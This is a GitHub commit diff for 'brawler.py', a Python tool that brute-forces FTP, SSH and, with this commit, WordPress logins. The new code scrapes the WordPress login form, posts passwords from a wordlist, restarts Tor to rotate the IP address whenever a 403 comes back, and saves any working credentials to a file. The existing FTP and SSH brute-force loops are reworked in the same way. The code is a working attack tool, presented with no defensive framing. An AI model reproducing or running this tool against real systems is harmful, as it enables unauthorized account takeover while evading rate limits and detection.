Skip to content

Commit

Permalink
Update
Browse files Browse the repository at this point in the history
  • Loading branch information
cake committed Oct 8, 2023
1 parent 2cb59c5 commit 7000038
Show file tree
Hide file tree
Showing 216 changed files with 74,249 additions and 5,661 deletions.
210 changes: 170 additions & 40 deletions brawler.py
View file
Original file line number Diff line number Diff line change
Expand Up @@ -24,6 +24,9 @@
from subprocess import run
from time import sleep
from re import compile
from requests import Session
from io import BytesIO
from lxml import etree

# Doing the basic configuration for the debugging feature
basicConfig(level=DEBUG, format='%(asctime)s - %(levelname)s - %(message)s')
Expand All @@ -43,6 +46,8 @@
# Creating a pattern for ip address validation
ip_addr_regex = compile(r'\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}')

SUCCESS = 'Welcome to WordPress!'

class Brawler:

def __init__(self, choice, username, target, port, wordlist, output):
Expand Down Expand Up @@ -70,46 +75,48 @@ def crack_ftp(self):

try:

self.restart_tor_service()

with open(self.wordlist, 'r') as pw:

passwords = pw.readlines()

print(f'{len(passwords)} passwords found.\n')
print(f'{len(passwords)} passwords found.\n')

for passwd in passwords:
for passwd in passwords:

password = passwd.strip('\r\n')
password = passwd.strip('\r\n')

try:
print(f'#{int(passwords.index(passwd))+1}) Your IP address = {self.get_public_ip_addr()}\nTrying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')
# print(f'Trying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')
ftp = FTP(timeout=10)
try:

print(f'#{int(passwords.index(passwd))+1}) Your IP address = {self.get_public_ip_addr()}\nTrying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')
# print(f'Trying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')

ftp = FTP(timeout=10)

ftp.connect(self.target, port)
ftp.connect(self.target, port)

ftp.login(self.username, password)
ftp.login(self.username, password)

print(f'\n{green_color}Success!{reset_color}\n{"-" * 30}\n{{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}"}}\nOutput -> {self.output}\n')
print(f'\n{green_color}Success!{reset_color}\n{"-" * 30}\n{{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}"}}\nOutput -> {self.output}\n')

with open(self.output, 'w') as credentials:
with open(self.output, 'w') as credentials:

credentials.write(f'Username = {self.username}\nPassword = {password}\nTarget= {self.target}\nPort = {self.port}\nType = {self.choice}')
credentials.write(f'Username = {self.username}\nPassword = {password}\nTarget= {self.target}\nPort = {self.port}\nType = {self.choice}')

ftp.quit()
ftp.quit()

break
break

except error_perm as exc:
except error_perm as exc:

print(f'{red_color}{exc} Still trying...{reset_color}\n')
print(f'{red_color}{exc} Still trying...{reset_color}\n')

except Exception as exx:
except Exception as exx:

print(f'{red_color}{exx} Still trying...{reset_color}\n')
print(f'{red_color}{exx} Still trying...{reset_color}\n')

self.restart_tor_service()
self.restart_tor_service()

except Exception as exc:
print(f'Error: {red_color}{exc}{reset_color}')
Expand All @@ -123,46 +130,156 @@ def crack_ssh(self):

try:

self.restart_tor_service()

with open(self.wordlist, 'r') as pw:

passwords = pw.readlines()

print(f'{len(passwords)} passwords found.\n')
print(f'{len(passwords)} passwords found.\n')

for passwd in passwords:
for passwd in passwords:

password = passwd.strip('\r\n')
password = passwd.strip('\r\n')

try:
try:

print(f'#{int(passwords.index(passwd))+1}) Your IP address = {self.get_public_ip_addr()}\nTrying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')
# print(f'Trying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')
print(f'#{int(passwords.index(passwd))+1}) Your IP address = {self.get_public_ip_addr()}\nTrying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}"}}')
# print(f'Trying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}" }}')

ssh = SSHClient()
ssh = SSHClient()

ssh.set_missing_host_key_policy(AutoAddPolicy())
ssh.connect(self.target, port=port, username=self.username, password=password)
ssh.set_missing_host_key_policy(AutoAddPolicy())

ssh.connect(self.target, port=port, username=self.username, password=password)

print(f'\n{green_color}Success!{reset_color}\n{"-" * 30}\n{{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}"}}\nOutput -> {self.output}\n')
print(f'\n{green_color}Success!{reset_color}\n{"-" * 30}\n{{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}", "Port": "{self.port}"}}\nOutput -> {self.output}\n')

with open(self.output, 'w') as credentials:
with open(self.output, 'w') as credentials:

credentials.write(f'Username = {self.username}\nPassword = {password}\nTarget= {self.target}\nPort = {self.port}\nType = {self.choice}')

ssh.close()

break

except Exception as exc:

print(f'{red_color}{exc} Still trying...{reset_color}\n')

self.restart_tor_service()

except Exception as exc:
print(f'Error: {red_color}{exc}{reset_color}')

credentials.write(f'Username = {self.username}\nPassword = {password}\nTarget= {self.target}\nPort = {self.port}\nType = {self.choice}')
def crack_wp(self):
"""A function which cracks wp passwords"""

ssh.close()
print(f'{golden_color}Cracking WP password{reset_color}\n{"-" * 30}')

try:

self.restart_tor_service()

with open(self.wordlist, 'r') as pw:

passwords = pw.readlines()

print(f'{len(passwords)} passwords found.\n')

for passwd in passwords:

password = passwd.strip('\r\n')

try:

attempt = self.wp_login_attempt(passwords=passwords, passwd=passwd, password=password)
debug(attempt)

if SUCCESS in attempt:

print(f'\n{green_color}Success!{reset_color}\n{"-" * 30}\n{{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}"\nOutput -> {self.output}\n')

with open(self.output, 'w') as credentials:

credentials.write(f'Username = {self.username}\nPassword = {password}\nTarget= {self.target}\nType = {self.choice}')

break

except Exception as exc:

print(f'{red_color}{exc} Still trying...{reset_color}\n')
else:

self.restart_tor_service()
print(f'{red_color}Login Failed. Still trying...{reset_color}\n')

except Exception as exc:

print(f'{red_color}{exc} Still trying...{reset_color}\n')

# self.restart_tor_service()

except Exception as exc:

print(f'Error: {red_color}{exc}{reset_color}')

def wp_login_attempt(self, passwords, passwd, password):
"""A function which tries to send a successfull post request to WordPress login page"""

while True:

try:

print(f'#{int(passwords.index(passwd))+1}) Your IP address = {self.get_public_ip_addr()}\nTrying => {{"Username": "{self.username}", "Password": "{password}", "Target": "{self.target}"')

session = Session()

resp0 = session.get(self.target)

params = self.get_params(resp0.content)

params['log'] = self.username

params['pwd'] = password

resp1 = session.post(self.target, data=params)

resp1_status = int(resp1.status_code)

debug(f'Response Status Code = {resp1_status}')

if resp1_status != 403:

return resp1.content.decode()

break

else:

self.restart_tor_service()

except Exception as err:

print(f'{red_color}{err} Still trying...{reset_color}\n')

self.restart_tor_service()

def get_params(self, content):
"""A function which creates a params dictionary to brute force WordPress HTML forms"""

params = dict()

parser = etree.HTMLParser()

tree = etree.parse(BytesIO(content), parser=parser)

for elem in tree.findall('//input'):

name = elem.get('name')

if name is not None:

params[name] = elem.get('value', None)

return params

def get_public_ip_addr(self):
"""A function which gets user's public IP address"""

Expand Down Expand Up @@ -239,7 +356,7 @@ def main():
# Add arguments
parser.add_argument('-v', '--version', action="store_true", help="Display the application's version information",)

parser.add_argument('choice', choices=['ssh', 'ftp'], nargs="?", help="Choice of platform (ssh, ftp)")
parser.add_argument('choice', choices=['ssh', 'ftp', 'wp'], nargs="?", help="Choice of platform (ssh, ftp, wp)")

parser.add_argument('-u', '--username', help="User's username who is authorized in the server")

Expand Down Expand Up @@ -278,6 +395,19 @@ def main():

print("Invalid choice. Use -h or --help to get more information.")


elif args.choice and args.username and args.target and args.source_path and args.destination_path:

if args.choice == "wp":

app = Brawler(choice=args.choice, username=args.username, target=args.target, port=None, wordlist=args.source_path, output=args.destination_path)

app.crack_wp()

else:

print("Invalid choice. Use -h or --help to get more information.")

else:

print("Invalid usage. Use -h or --help to get more information.")
Expand Down
Loading

0 comments on commit 7000038

Please sign in to comment.